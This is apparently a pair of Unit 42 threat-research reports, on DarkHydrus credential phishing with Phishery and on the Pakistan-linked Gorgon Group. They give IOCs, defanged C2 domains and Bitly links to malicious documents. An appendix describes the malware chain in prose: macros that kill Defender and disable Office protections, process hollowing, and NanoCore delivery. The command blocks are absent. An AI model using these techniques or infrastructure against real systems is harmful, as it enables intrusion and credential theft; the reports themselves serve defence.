A phishing attack to steal credentials like this is not new: US-CERT warned of the same technique by a different threat group in 2017. What is noteworthy is DarkHydrus’ use of an open-source tool to carry out targeted attacks against these entities in the Middle East, which is fitting of their reliance of open source tools and these attacks are consistent in terms of targeting with what we reported last week. Based on this, we can reasonably presume this group will continue to carry out attacks against these kinds of targets in the Middle East in the near-future.

Credential Harvesting Attack
On June 24, 2018, Unit 42 observed DarkHydrus carrying out a credential harvesting attack on an educational institution in the Middle East. The attack involved a spear-phishing email with a subject of “Project Offer” and a malicious Word document (SHA256: d393349a4ad00902e3d415b622cf27987a0170a786ca3a1f991a521bff645318) as an attachment. When opened, the malicious Word document displays a dialog box that asks the user for their credentials, as seen in Figure 1.

Hydrus_1

Figure 1. Authentication dialog box presented to the user when opening document

As you can see in Figure 1, the authentication prompt says “Connecting to <redacted>. 0utl00k[.]net”, which is a DarkHydrus C2 server. If the user enters their credentials in this dialog box and presses ‘Ok’, the credentials are sent to the C2 server via the URL https://<redacted>.0utl00k[.]net/download/template.docx. With the authentication dialog box gone, Word displays the contents of the document, which in this specific case was an empty document. While this document was empty, the authentication prompt may have made the targeted user more likely to enter their credentials, thinking it’s necessary to view the contents of the document.
DarkHydrus also created their C2 domain carefully in an attempt to further trick the targeted user to enter their credentials. Firstly, the redacted subdomain was the domain of the targeted educational institution. Also, the 0utl00k[.]net domain resembles Microsoft’s legitimate "outlook.com” domain that provides free email services, which also make the user less suspicious and more likely to enter their credentials. Some users may not even notice what domain the dialog states they are connecting to and habitually type their Windows credentials.
We found two additional Word documents using the 0utl00k[.]net domain to harvest credentials, seen in Table 1. We first saw these related Word documents in September and November 2017, which suggests that DarkHydrus has been carrying out this credential harvesting campaign for almost a year.

First Seen SHA256 Filename Remote Template
11/12/2017 9eac37a5c6.. PasswordHandoverForm.docx https://0utl00k[.]net/docs
09/18/2017 0b1d5e1744.. استطلاع.docx https://0utl00k[.]net/docs

Table 1. Additional DarkHydrus Word documents used to steal credentials

Both of these related documents use the attachedTemplate technique to steal credentials by sending them to a URL https://0utl00k[.]net/docs. Unlike the June 2018 document that displayed no content after credential theft, both of these documents displayed content that appears pertinent to the targeted organization. The September 2017 document displays an employee survey, which can be seen in Figure 2.

Hydrus_2

Figure 2. Employee survey displayed after credential theft

The November 2017 document displays a password handover document after credential theft occurs, as seen in Figure 3. We were unable to find the displayed document via open source research, which may suggest that the actor gathered this password handover form from a prior operation.

Hydrus_3

Figure 3. Password handover form displayed after credential theft

The infrastructure used in these credential harvesting attacks used the domain 0utl00k[.]net, which at the time of the attacks resolved to 107.175.150[.]113 and 195.154.41[.]150. This same infrastructure was discussed in the Campaign Analysis of our previous blog.

Phishery Tool
While analyzing the three malicious Word documents, we determined that two of the documents were created using an open source tool called Phishery. The Phishery tool is capable of the following:

  1. Creating malicious Word documents by injecting a remote template URL
  2. Hosting a C2 server to gather credentials entered into authentication dialog boxes displayed when attempting to obtain the remote template

We were able to confirm that DarkHydrus used Phishery to create these Word documents by using the open source tool to create a document and host a C2 ourselves. The DarkHydrus document used in the June 2018 attacks had a remote template URL added, as seen in Figure 4.

Hydrus_4

Figure 4. Remote template URL seen in the DarkHydrus document from June 2018

We were able to replicate the remote template path seen in Figure 4 by using Phishery to create a weaponized delivery document. Figure 5 shows Phishery’s output to the command that injects a URL into a file named “good_test.docx”, which it will save the resulting file to “bad_test.docx”.

Hydrus_5

Figure 5. Phishery command used to create a document that has same remote template URL as DarkHydrus

To confirm, we used Phishery’s C2 server and opened DarkHydrus’ Word document from the June 2018 attacks. When presented with the authentication dialog box, we entered “fakename” and “fakepass” as credentials, as seen in Figure 6 and pressed enter.

Hydrus_6

Figure 6. Authentication dialog box with fake credentials entered

On the C2 server, we observed Phishery receiving the inbound request and capturing the credentials, as seen in Figure 7. The C2 server was able to obtain the “fakename” and “fakepass” credentials entered into the authentication dialog box displayed when opening DarkHydrus’ Word document.

Hydrus_7

Figure 7. Output of Phishery C2 showing captured credentials

Conclusion
DarkHydrus is a threat group carrying out attack campaigns targeting organizations in the Middle East. We discovered DarkHydrus carrying out credential harvesting attacks that use weaponized Word documents, which they delivered via spear-phishing emails to entities within government and educational institutions. This threat group not only used the Phishery tool to create these malicious Word documents, but also to host the C2 server to harvest credentials. The use of Phishery further shows Dark Hydrus’ reliance on open source tools to conduct their operations.
Palo Alto Networks customers are protected from Dark Hydrus by:

  • The C2 server 0utl00k[.]net is classified as Malware
  • All Phishery documents created by DarkHydrus have malicious verdicts in WildFire
  • AutoFocus customers can monitor this threat group’s activity via the DarkHydrus tag

Indicators of Compromise
Samples
d393349a4ad00902e3d415b622cf27987a0170a786ca3a1f991a521bff645318
9eac37a5c675cd1750cd50b01fc05085ce0092a19ba97026292a60b11b45bf49
0b1d5e17443f0896c959d22fa15dadcae5ab083a35b3ff6cb48c7f967649ec82

Infrastructure
0utl00k[.]net
107.175.150[.]113
195.154.41[.]150

The Gorgon Group: Slithering Between Nation State and Cybercrime

Posted on by Robert Falcone

Unit 42 researchers have been tracking Subaat, an attacker, since 2017. Recently Subaat drew our attention due to renewed targeted attack activity. Part of monitoring Subaat included realizing the actor was possibly part of a larger crew of individuals responsible for carrying out targeted attacks against worldwide governmental organizations. Technical analysis on some of the attacks as well as attribution links with Pakistan actors have been already depicted by 360 and Tuisec, in which they found interesting connections to a larger group of attackers Unit 42 researchers have been tracking, which we are calling Gorgon Group.
In addition to the numerous targeted attacks, Unit 42 discovered that the group also performed a litany of attacks and operations around the globe, involving both criminal as well as targeted attacks.
Starting in February 2018, Palo Alto Networks Unit 42 identified a campaign of attacks performed by members of Gorgon Group targeting governmental organizations in the United Kingdom, Spain, Russia, and the United States. Additionally, during that time, members of Gorgon Group were also performing criminal operations against targets across the globe, often using shared infrastructure with their targeted attack operations.
Gorgon Group's activity is interesting because in addition to traditional command and control (C2) domain utilization, Gorgon Group used common URL shortening services to download payloads; ultimately providing an extensive list of click counts and statistical data. Also, interestingly, Gorgon Group has a diverse and active criminal element. On much of the C2 infrastructure we identified several crimeware family samples. RATs such as NjRat and infostealers like Lokibot were leveraging the same C2 infrastructure as that of the targeted attacks.
Using numerous decoy documents and phishing emails, both styles of attacks lacked overall sophistication, but the effectiveness of this group and campaign cannot be denied.

Attack Delivery and Infrastructure Analysis
The attack methodology, as well as analysis of several of the ".vbs", ".doc" and ".exe" samples found hosted in the attacker's infrastructure has been covered by 360 and Tuisec. Both 360 and Tuisec found that the most commonly observed and consistent attack pattern consists of the following stages:
Gorgon_1

Figure 1. Basic attacker methodology

At the initial stage, the phishing attempts are kept very simple and lightweight by using OLE2Link objects that will usually make use of URL shortening services such as Bitly and t2m[.]io.

Figure 2 OLE2Link content example

While investigating the domains and infrastructure used by the phishing components of Gorgon Group, Unit 42 researchers witnessed several common operational security flaws with Gorgon Group's actors throughout their many campaigns. It was one of these OPSEC failures that gave us an interesting cross-section of malware Gorgon Group is using. Included in the directories were a combination of files leveraged in targeted attacks mentioned above against nation states. Additionally, there was a plethora of malware samples that were criminal in nature.

Gorgon_3

Figure 3. Open directory listing of hxxp://stevemike-fireforce[.]info/

Based on the contents and structure of the initial identified open directories, it was possible to find several infrastructure patterns in use. An example of a domain structure and malware delivery contents is shown in the following table:

SHA-256 Infrastructure URL
4e4967e3d39256049bc1054b966e5c609245fd3b2a934fda5cd1885526d8221e stemtopx[.]com/work/1.doc
d2f58b08f8abfe5055f3c1f0b8d991dfe1deb62807a5336b134ce2fb36d87284 stemtopx[.]com/work/3.exe
db4d8d931f1b979cf32d311f9b03e851d3283b4f7e86252730247da25cf9f093 stemtopx[.]com/work/2.exe
4c6e3d8fdb2394edffe4a5bc45a238749e929301efa8bcfa3a247b1ab68eac54 stemtopx[.]com/work/1.exe
81de431987304676134138705fc1c21188ad7f27edf6b77a6551aa693194485e stemtopx[.]com/work/new/20.exe
26151f1e24bc97532e49013fbe04919de1f51e346dba1f10ce2e389160f2fb9d stemtopx[.]com/work/new/3.exe
a100ce0a67c5890bcc38d2b6e30f9164dfe266126ec40a2fd7eb8e941dc7d025 stemtopx[.]com/work/new/2.exe
806098afc2148dabb838b24c4dfaa148269ac3ddf769aee54e75d46bfef0c506 stemtopx[.]com/work/doc/20.doc
bf37d6cb393b440f790ad2b333624fde079e10bfaeb44d65188e3ccc551c982f stemtopx[.]com/work/k/1.docx
81de431987304676134138705fc1c21188ad7f27edf6b77a6551aa693194485e stemtopx[.]com/work/k/1s.exe


Table 1. Malware samples and infrastructure for hxxp://stemtopx[.]com

Pattern Example
[domain]/work/docnew/[filename]
[domain]/administrator/help/[filename]
[domain]/xe/m/[filename]
[domain]/xe/s/[filename]
[domain]/images/yupsia/exe/[filename]
[domain]/images/yupsia/doc/[filename]

Table 2. Examples of domain patterns

The Gorgon Group Crew Breakdown
Finding accessible directories, in combination with their other operational security failures, made it easy to start connecting the dots on Gorgon Group members. 360 and Tuisec already identified some Gorgon Group members. In addition to Subaat, we counted an additional four actors performing attacks as part of Gorgon Group. While it’s not known if the attackers physically reside in Pakistan, all members of Gorgon Group purport to be in Pakistan based on their online personas.

fudpages

One member of Gorgon Group- we're calling ‘fudpages’, was found during this campaign activity based on their utilization of shared infrastructure. One specific Microsoft document drew our attention. (446e1c80102c8b9662d66d44525cb9f519369061b02446e0d4cd30cd26d79a25)
This Microsoft Word document was sent via email to several industries across the US and Switzerland. We noticed that this document pulls down additional malware from a C2 also being used in attacks by other Gorgon Group members.  Additionally, this document communicates to a relatively new piece of C2 infrastructure- umarguzardijye[.]com, which is hosted on 91[.]234[.]99[.]206.
Gorgon_4

Figure 4 WHOIS information for umarguzardijye[.]com

Fudpages, similar to other Gorgon Group members, made many of the same OPSEC failures of his or her fellow Gorgon Group members.
Gorgon_5

Figure 5 Open directory of umarguzardijye[.]com

The WHOIS record for our new domain, umarguzardijye[.]com, shows that the registrant organization is "fudpages" and the address provided in Pakistan. When looking closer at the IP hosting umarguzardijye[.]com, we noticed 91[.]234[.]99[.]206 hosts two additional domains that drew our attention-fudpages[.]ru and fudpage[.]ru. Fudpage appears to be a small marketplace selling bulletproof hosting, RDP sessions, fake documents and a litany of additional malicious wares.
Gorgon_6

Figure 6 Advertisement website for FUD pages and spamming tools

Listed on fudpage's marketplace are several pieces of contact information, which ultimately led us to an underground persona that was selling, distributing and trading maliciousness across underground forums.
Gorgon_7

Figure 7. Underground forum posting for RAT

Operating underground since at least 2016, fudpages is also active on streaming sites like Youtube, where they use it as an advertising platform.
Gorgon_8

Figure 8. Youtube video posting on how to perform malicious activities

Like all of Gorgon Group’s members, Fudpage’s online profile, infrastructure utilization and standardization, connects them back to Gorgon Group. This connection to Gorgon Group helps illustrate the seemingly standardized methodologies Gorgon Group most often employs.

The Tale of Two Intentions: Criminal and Targeted
As part of the investigation, Unit 42 researchers were able to identify an interesting characteristic about how the Gorgon Group crew uses shared infrastructure between cybercrime and targeted attacks. The crew combines both regular crime and targeted attack objectives using the same domain infrastructure over time, rarely changing their TTPs.
Starting in mid-February, Unit 42 researchers have been tracking an active campaign sharing a significant portion of infrastructure leveraged by Gorgon Group for criminal and targeted attacks. In Figure 9, below, red indicates targeted IP addresses, malware, registrant information, and domains associated with the targeted attack campaign while blue indicates criminal attack IP addresses, malware used, registrant information, and domains:
Gorgon_9

Figure 9. Overlap between infrastructure

While looking at the total cluster of Gorgon Group activity, it’s also interesting to look at the total click volume during the campaign’s timeframe. Leveraging click counts for the campaign for Bitly, we were able to see Gorgon Group’s activity volume increase throughout April.
Gorgon_10

Figure 10. Total clicks performed on Gorgon Group infrastructure over time

Looking specifically at one domain used in both cybercrime and targeted attacks, we can see a micro viewpoint into their campaign. Between April 1, 2018 and May 30, 2018, we observed the domain stevemike-fireforce[.]info used in a Gorgon Group cybercrime campaign involving more than 2,300 emails and 19 documents in the initial attack. This same domain was also used during the same period of time in targeted attacks against several worldwide nation state agencies.
Analysis of the data allowed Unit 42 researchers to make some interesting conclusions:

  • Several unique domains are used for both cybercrime and targeted attacks.
  • The amount of sessions for cybercrime is higher than targeted, as expected.
  • There is no specific pattern on when targeted attacks happen, the domains can initially be used for cybercrime and then quickly utilized in a targeted attack with little warning.

As a graphical representation, Figure 11, below, indicates the amount of unique sessions observed for this domain over the campaign’s operational time, representing the attack intention in two separate areas.
It's interesting to observe on April 24th, this domain delivers a targeted attack aimed at several worldwide governmental bodies, in the middle being of also being used in the delivery of a malspam campaign. The subject used in this case of targeted attack was "Pakistan eying Sukhoi-35 figther planes as part of defense deal from Rusia":

Gorgon_11

Figure 11 Crimeware activity versus targeted activity against stevemike-fireforce[.]info

In order to have a better idea of the volume of unique attacks per date and intention, see the following volume-based representation in Figure 12, where targeted attack volumes are represented in red and crime in green:
Gorgon_12

Figure 12. Volume of crimeware activity versus targeted attacks using stevemike-fireforce[.]info

Focusing on one domain allowed us to quickly understand its usage and better understand how it interconnects to a larger malspam campaign.

Intention #1: Cybercrime
Criminal attacks are not new to this crew, some of which was covered in our previous blog for Gorgon Group member Subaat. During the current campaign, Gorgon Group’s criminal enterprises netted 132,840 Bitly clicks from mid-February to the present. Targeting a large cross-section of industries, there was little in terms of targeting during their criminal activity.

Gorgon_13Figure 13. Criminal Attacks Bitly Link Clicks Worldwide

A majority of the crimeware distribution was done via standard malspam campaigns leveraging well-known "Purchase Order" and "SWIFT" lures. Most of the filenames included a variance of filenames like:

  • SWIFT {Date}.doc
  • SWIFT COPY.doc
  • PURCHASE ORDER {Random Value}.doc
  • DHL_RECEIPT {Random Value}.doc
  • SHIPPING RECEIPT {Date}.doc

The tools used by the crew do not really differ in general crime vs more targeted attacks, in both instances they related to several remote access and data stealing malware families. The top five malware families identified as criminal in nature so far have been the following:

  • NjRAT: NjRAT is a remote-access Trojan commonly used and witnessed in attacks that are both criminal and targeted attacks since as early as 2013.
  • RevengeRAT : RevengeRAT is a remote-access Trojan that was released for free on underground forums in 2016. While RevengeRAT could be used in targeted attack campaigns, it is commonly witnessed in criminal malspam campaigns.
  • LokiBot: LokiBot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets.
  • RemcosRAT: RemcosRAT is a remote-access Trojan that first appeared in underground forums in July of 2016. The RemcosRAT has a feature-rich builder, which allows for the creation of Microsoft Word documents with malicious macros.
  • NanoCoreRAT: Generally delivered via phishing, NanocoreRAT is a remote-access Trojan that opens a back door and steals information from the compromised computer.

One interesting note about the criminal activity of Gorgon Group is their usage of Bitly. Similar to that of their targeted attacks, Gorgon Group leveraged Bitly for distribution and shortening of C2 domains. Using the same techniques across both their criminal and targeted activity, made it easier for us to cluster Gorgon Group infrastructure and activity.

Gorgon_14

Figure 14. Clicks on Bitly links in criminal attacks

Overall, in spite of the lack of sophistication in Gorgon Group’s activity, they were still relatively successful; once again proving that simple attacks on individuals without proper protections, work.

Intention #2: Targeted Attacks
Beginning in early March 2018, Unit 42 started observing targeted attacks against Russian, Spanish and United States government agencies operating in Pakistan. As we continued to investigate, it became apparent that Gorgon Group had been consistently targeting worldwide governmental organizations operating within Pakistan. While Gorgon Group has been making minor changes in their methodologies, they are still actively involved in both targeted and criminal attacks.
This Gorgon Group campaign leveraged spear phishing emails with Microsoft Word documents exploiting CVE-2017-0199. The spear phishing emails involved in this campaign would most often originate from Gmail accounts masquerading as legitimate individuals, such as a prominent Lt. Col in the Pakistani military.
The subjects of the spear phishing emails were also interesting, often contained subject matter related to terrorist groups, military activity, or political topics.

  • Acting FOREIGN Minister of Pakistan
  • Invitation to lady wives of H.E. Ambassador/High Commissioner from lady wife of H.E. High Commissioner of Bangladesh
  • Pakistan eying Sukhoi-35 fighter planes as part of defense deal from Russia 2018.143
  • PG COURSE IN 2018-2021 BATCH India Bangladesh and Pakistan
  • Press Release on Observance of Historic Mujibnogor Dibosh by Pakistan Mission on 17 April 2018
  • Afghan Bomb Blast report by ISI
  • USAJOBS Daily Saved Search Results for New GS15 for 3/30/2018
  • How Rigging take place in Senate Elections in Pakistan
  • Afghan Terrorist group details ISI Restricted113
  • 1971 Liberation War Freedom Fighters in Pakistan Army Custody Database

Additionally, the following filenames were witnessed in these attacks (spelling and grammar mistakes included):

  • Liberation Freedom Fighter.xlam
  • NSC details of participants.xlam
  • Raw Sect Vikram report on Pak Army Confidential.doc
  • USA Immagration Policy for Families.ppam
  • doc
  • CV FM.doc
  • doc
  • Sukhoi35 deal report.doc
  • Nominal Roll.doc
  • Press Release 17 April.doc
  • Afghan Blast report by ISI.doc
  • Rigging in Pakistan Senate.doc
  • Afghan Terrorist group report.doc

The payloads for these attacks varied in malware family. The popular NanoCoreRAT, QuasarRAT, and NJRAT variants were used heavily.
In a number of these attacks, the popular third-party URL shortening service Bitly was used to ultimately deliver the payloads for these attacks.
It's important to remember, that while we were using Bitly links to help gauge click location, anyone who clicks these links (including researchers) are also counted. So, while having this click information is valuable, it's only one small piece of a larger picture related to targeting.
Gorgon_15

Figure 15. Bitly Click Information Related to a Gorgon Group C2 Domain

The heaviest concentration of Bitly URL interaction came from Pakistan, which at 410 clicks accounted for 39% of all clicks. The United States amassed 194 clicks, accounting for 19%.

Gorgon_16

Figure 16 Clicks on Bitly links in targeted attacks

The attacks took place primarily in March, late April, and early May of this year.

Conclusion
Gorgon Group isn't the first actor group we've witnessed dabble in both nation state level and criminal attacks. What makes Gorgon Group unique is, that despite the group’s operational security failures, they still remained particularly effective. Looking closer at the actors participating in Gorgon Group gave us a unique perspective into the inner workings of an attack.
Leveraging the same infrastructure for targeted attacks and criminal enterprises made for an interesting cross-section of mixed intentions. Ultimately, this lead us to the conclusion that several of Gorgon Group’s members have a nexus in Pakistan. While Gorgon Group remains active, Palo Alto Networks customers are protected from this threat in the following ways:

  • WildFire detects all current Gorgon Group files with malicious verdicts.
  • AutoFocus customers can track these samples with the Gorgon Group actor tag.
  • Traps blocks all of the files currently associated with Gorgon Group

Appendix

Analysis of a targeted attack
"1971 Liberation War Freedom Fighters in Pakistan ArmyCustody Database98"
The delivery documents used in the targeted attacks are Microsoft Office documents that contain a macro that attempts to compromise the system. The infection process is rather interesting, as it involves multiple layers of .NET assemblies that will eventually download the NanoCore remote administration tool (RAT) from a remote server and inject it into another process. In some instances, we have also seen the RemcosRAT malware family delivered as the final payload. The infection process not only downloads and executes a payload, but it also downloads and opens a decoy document to lower the recipient's suspicions of the entire process. Additionally, the process attempts to lower the overall security of the system by disabling security features in Microsoft Office and Windows Defender. The payloads themselves are rather interesting, as the developer wraps the malicious code with legitimate source code freely available online.

Delivery document
The delivery document contains a macro that downloads an executable from a remote server. The macro downloads a payload from hxxp://lokipanelhostingpanel[.]gq/work/kh/1.exe (SHA256: 84ed59953f57f5927b9843f35ca3c325155d5210824d3b79b060755827b51f72) by running the following command line process:

The macro then attempts to kill Microsoft Office and Windows Defender processes using the ‘taskkill’ command. The command does not attempt to kill the specific Office process that would load the particular delivery document, such as Excel in the case of this “.xlam” file, but instead attempts to kill processes associated with Word, Excel, PowerPoint and Publisher. This blanket approach to kill the appropriate process suggests that the actor does not change this command within their macro across delivery documents they created within these Microsoft Office applications. The command does not just attempt to kill the Windows Defender process, but also attempts to clear the detection definitions to not trigger an antivirus alert. The macro performs all of these activities with the following command:

The macro also attempts to deactivate security mechanisms within Microsoft Office products by modifying the registry. First, the macro attempts to enable macros in multiple versions of Word, PowerPoint, Publisher and Excel by setting the following registry keys to the value of 1:

The macro also attempts to disable protections provided by the Protected View capability within Word, Excel, and PowerPoint by setting the following registry keys to a value of 1:

First Stage Payload
The payload installed by the macro is a downloader Trojan written in VB.NET that downloads a secondary payload and decoy document. It appears the author of this downloader used the source code from an open source tool called "Sales System Application", which is freely available at hxxp://www.a1vbcode[.]com/app-2999.asp. We believe the author of the downloader uses this Sales System Application to provide a legitimate look to their malicious payload. The malware author adds their own code to the application to run their malicious code before calling the legitimate functions that display the graphical user interface. The following functions are called when the application attempts to initialize the menu:

The "Speed" method in the legitimate ETransaksi class contains legitimate code from the Sales System Application; however, the author of this tool includes this code in an if/else construct that bypasses these instructions by setting a false flag to skip the legitimate code and execute the next step to the malicious code. The following code example shows the false flag being set (5 > 115) and the ETransaksi.diomadnfagaghagh method being called:

The payload uses this technique to run a chain of methods that eventually carry out its malicious task. With the exception of the ‘Speed’ method previously mentioned, the names of the methods called in this chain appear to be fairly random, as seen in the following list:

  1. ETransaksi.Speed
  2. ETransaksi.diomadnfagaghagh
  3. ETransaksi.fjcsERIfjfiojsGHIsdifjksi
  4. ETransaksi.gsgjIDJIGJIGJIGJIFDOSpl
  5. ETransaksi.FJaioefgkaoeK

The last two methods in the chain carry out a majority of the first payload’s functionality. The ETransaksi.gsgjIDJIGJIGJIGJIFDOSpl method obtains a resource named "fgjfaieSDFAOKEfj.GSrdofjksrgj", which is decrypted in the ETransaksi.FJaioefgkaoeK method using a multibyte XOR cipher with the following key:

The resulting cleartext is another .NET assembly, which the payload will load within its own process space.

Embedded Trojan
This Trojan loaded by the first payload contains several embedded executables that it uses to ultimately download and execute a secondary payload, as well as downloading and opening a decoy document. An unknown programmatic builder tool appears to have created this Trojan, as the code shows multiple configuration options for additional functionality that were not enabled within this specific sample.
Upon execution, this Trojan checks to see if it was configured with "BINDERON" to determine if it should extract an embedded payload from a resource named "B", save it to %TEMP%\%BIND1%, and create a new process with the embedded payload. While the Trojan was configured to carry out this activity, the actor did not embed a payload within the "B" resource, so this functionality does not carry out any activities, rather it just causes an exception and continues running.
Another configuration option encountered by this Trojan is a check for '%STARTUPON%'. This sample was not configured to execute with this option enabled, however, should this option be enabled, the Trojan would attempt to install itself to the system at a specific location by writing its contents in base64-encoded format to the following file:

%APPDATA%\Microsoft\Windows\DsvHelper\%DECRY%.txt

The Trojan then reads the contents of the %DECRY%.txt file, decode them and write the decoded data to the following file:
%USERPROFILE%\APPDATA\Roaming\Microsoft\Windows\DsvHelper\@RANDOM@.exe
The Trojan would then create a new process using the @RANDOM@.exe file. When the Trojan runs as an executable within the "DsvHelper" folder, the Trojan will create a shortcut (.lnk file) and save the shortcut to the 'DsvHelper' folder. It then creates the following registry key to automatically run the Trojan each time the system starts:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\@RANDOM@
The main behavior carried out by this Trojan involves obtaining an embedded executable, hollowing the current Trojan, writing the new embedded executable to the process memory and calling a specific function in the newly written payload. The embedded payload written to process memory exists in the "R" resource and called function in the new payload is named "RPe.Test.Work". The function will take another executable embedded in the initial Trojan as a resource named "M", which it attempts to inject into the following process to execute:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
While it's configured to inject into cvtres.exe, the Trojan is also capable of injecting its code into the following process as well:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Embedded injector Trojan
The R payload discussed above is nothing more than an injector Trojan, which accepts a path to an executable and a buffer of code to inject into the process as arguments. The R payload will create a process using the supplied path using the CreateProcessA API function. The payload then finds the base address of the newly created process using the GetThreadContext API function, and then calls NtUnmapViewOfSection to hollow the process. The payload then calls the VirtualAllocEx API to create a buffer in the newly hollowed process and the WriteProcessMemory API to write the supplied data buffer that contains the code to inject to this newly created buffer. The payload then sets EIP to the entry point of the newly injected code using the SetThreadContext API, and finally calls the NtAlertResumeThread API function to run the injected code.

Embedded Downloader Trojan
The M payload (referenced previously along with the R payload, above) injected and executed within the memory space of the other process is a downloader Trojan. This specific downloader appears to have been created using a VB2Exe tool, as the functional code that carries out the downloading functionality exists as a VBScript embedded within the payload. The payload extracts this VBScript from a resource and saves it to a file that it extracts from another resource. The filename used to save the VBScript is "khm.vbs", which is eventually run using "wscript". The VBScript has a SHA256 has of 649e3922ec53d5b195ed23aac08148faeb561f47e891b1e6ff60a2a9df4fea17, which calls two PowerShell commands to download and execute a payload and downloading and opening of a decoy document. The payload is downloaded from the following location and saved to "%PUBLIC%\svchost32.exe":

hxxp://lokipanelhostingpanel[.]gq/work/kh/1s.exe

The decoy document is downloaded from hxxp://lokipanelhostingpanel[.]gq/work/kh/1.docx and saved to "%PUBLIC%\svchost32.docx". When opened, the decoy document shows the following content, which contains the image and copied text from a news article titled “Top civil-military body rejects Nawaz’s controversial statement on Mumbai attacks,” as seen in the following screenshot:

Gorgon_17

Figure 17. Decoy document downloaded by malware

Final Payload
The final payload is a dropper Trojan that installs the NanoCore RAT. The author of this payload (SHA256: 690fc694b0840dbabb462ae46eb836777420b3354e53a6944a2e169b965b0bec) appears to have used an open source tool called "Saransh Email System" as a basis of this tool, which was likely downloaded from hxxp://www.a1vbcode[.]com/app-4601.asp. Much like the original payload, this tool uses if/else statements to skip the legitimate code in the Saransh Email System source to run the malicious functions, which have the same method names as the original tool and follow the same call sequence:

  1. Form1.Speed
  2. Form1.diomadnfagaghagh
  3. Form1.fjcsERIfjfiojsGHIsdifjksi
  4. Form1.gsgjIDJIGJIGJIGJIFDOSpl
  5. Form1.FJaioefgkaoeK

This chain of functions eventually loads a resource named 'GSrdofjksrgj', which the tool decrypts using the same algorithm and key as in the initial payload:

The decrypted payload has a SHA256 hash of 5e805a88294f6d25d55103d19d13e798e01ad70e6b89e9c58db5d468cc63b3d5, which is a variant of the NanoCore remote administration tool. This variant of NanoCore was configured to communicate with the following IP address as its C2 server over TCP port 6666:

115.186.136[.]237

Bitly short URLs and expanded domains

Short Bitly URL Expanded URL
http://bit[.]ly/Loaloding http://www.asaigoldenrice[.]com/daq/doc/2.doc
http://bit[.]ly/Loadingnnsa http://onedrivenet[.]xyz/work/docnew/4.doc
http://bit[.]ly/2JmQLW6 http://stemtopx[.]com/work/doc/13.doc
http://bit[.]ly/2JsruKm http://stemtopx[.]com/work/doc/4.doc
http://bit[.]ly/2GUaY49 http://fast-cargo[.]com/images/file/vb/VBS/doc/3.doc
http://bit[.]ly/Loadingnns http://onedrivenet[.]xyz/work/docnew/4.doc
http://bit[.]ly/2Im2IOF http://panelonetwothree[.]ml/zico/doc/doc8/zloadings.doc
http://bit[.]ly/primeload http://fast-cargo[.]com/images/file/vb/VBS/doc/1.doc
http://bit[.]ly/loader2018 http://asaigoldenrice[.]com/sim/new.doc
http://bit[.]ly/2xZ1kO6wdscsac http://stemtopx[.]com/work/doc/3.doc
http://bit[.]ly/2M2bIYh http://stemtopx[.]com/work/doc/root.doc
http://bit[.]ly/2r9PSIv http://stevemike-fireforce[.]info/work/doc/11.doc
http://bit[.]ly/Loadiendg http://www.0-day[.]us/img/doc/6.doc
http://bit[.]ly/2rpmJKsrdtrdtdfysersgerstrdFCGRDR http://stevemikeforce[.]com/work/doc/7.doc
http://bit[.]ly/2Fu4ZSfloading http://panelonetwothree[.]ml/zico/xe/snoop/ocsnoop/snoop.doc
http://bit[.]ly/2HloaderqVbva http://diamondfoxpanel[.]ml/doc/1/11.doc
http://bit[.]ly/Loardising http://onedrivenet[.]xyz/work/docnew/12.doc
http://bit[.]ly/2JB3KXD http://stemtopx[.]com/work/doc/8.doc
http://bit[.]ly/1_loadingH7TvJa http://diamondfoxpanel[.]ml/doc/1.doc
http://bit[.]ly/Loadijging http://onedrivenet[.]xyz/work/docnew/8.doc
http://bit[.]ly/Laodiingplease http://onedrivenet[.]xyz/work/docnew/13.doc
http://bit[.]ly/2HvQBirEam832ASADx http://stevemike-fireforce[.]info/work/dola/3.doc
http://bit[.]ly/2I5T7b9hgvgvjcVYVY http://stevemikeforce[.]com/work/doc/6.doc
http://bit[.]ly/paymentsuae http://brevini-france[.]cf/xp/doc/swift.doc
http://bit[.]ly/Laodingipleasewait http://www.asaigoldenrice[.]com/daq/doc/10.doc
http://bit[.]ly/loadingxxxx http://www.asaigoldenrice[.]com/daq/doc/4.doc
http://bit[.]ly/2Gmziko http://zupaservices[.]info/doc/z.doc
http://bit[.]ly/2sQhJOO http://stemtopx[.]com/work/doc/6.doc
http://bit[.]ly/laodinfokqaw http://stevemike-fireforce[.]info/work/doc/5.doc
http://bit[.]ly/loadrinfing http://www.asaigoldenrice[.]com/daq/doc/15.doc
http://bit[.]ly/2JaBgAS http://acorn-paper[.]com/administrator/help/7.doc
http://bit[.]ly/2loadingqlOQcM http://diamondfoxpanel[.]ml/doc/4/44.doc
http://bit[.]ly/loardding http://fast-cargo[.]com/images/file/vb/VBS/doc/11.doc
http://bit[.]ly/loidaring https://www.0-day[.]us/img/doc/5.doc
http://bit[.]ly/LoadingPleaseWait http://www.asaigoldenrice[.]com/daq/doc/20.doc
http://bit[.]ly/2HJv5Ud http://stevemike-fireforce[.]info/work/doc/1.doc
http://bit[.]ly/Loading13 http://fast-cargo[.]com/images/file/vb/VBS/doc/13.doc
http://bit[.]ly/2Lzpjp1 http://stemtopx[.]com/work/doc/19.doc
http://bit[.]ly/tt_seafood http://acorn-paper[.]com/administrator/help/en-GB/8.doc
http://bit[.]ly/Lording http://fast-cargo[.]com/images/file/vb/VBS/doc/7.doc
http://bit[.]ly/loadingsmins http://www.asaigoldenrice[.]com/daq/doc/1.doc
http://bit[.]ly/2_loadingJwkhJA http://diamondfoxpanel[.]ml/doc/7.doc
http://bit[.]ly/Laodiingpleasesa http://onedrivenet[.]xyz/work/docnew/13.doc
http://bit[.]ly/2tnW5lu http://stemtopx[.]com/work/newdoc/1.doc
http://bit[.]ly/tt_loading http://acorn-paper[.]com/administrator/components/com_templates/4.doc
http://bit[.]ly/2wzkloading http://panelonetwothree[.]ml/zico/doc/zloading.doc
http://bit[.]ly/Loadingans http://onedrivenet[.]xyz/work/docnew/14.doc
http://bit[.]ly/2r9jLcQloading http://panelonetwothree[.]ml/zico/doc/zik.doc
http://bit[.]ly/loadingpleasewairrs http://stevemike-fireforce[.]info/work/dola/2.doc
http://bit[.]ly/2arubabKmpgwP http://panelonetwothree[.]ml/iran/uae/done/oc/uae.doc
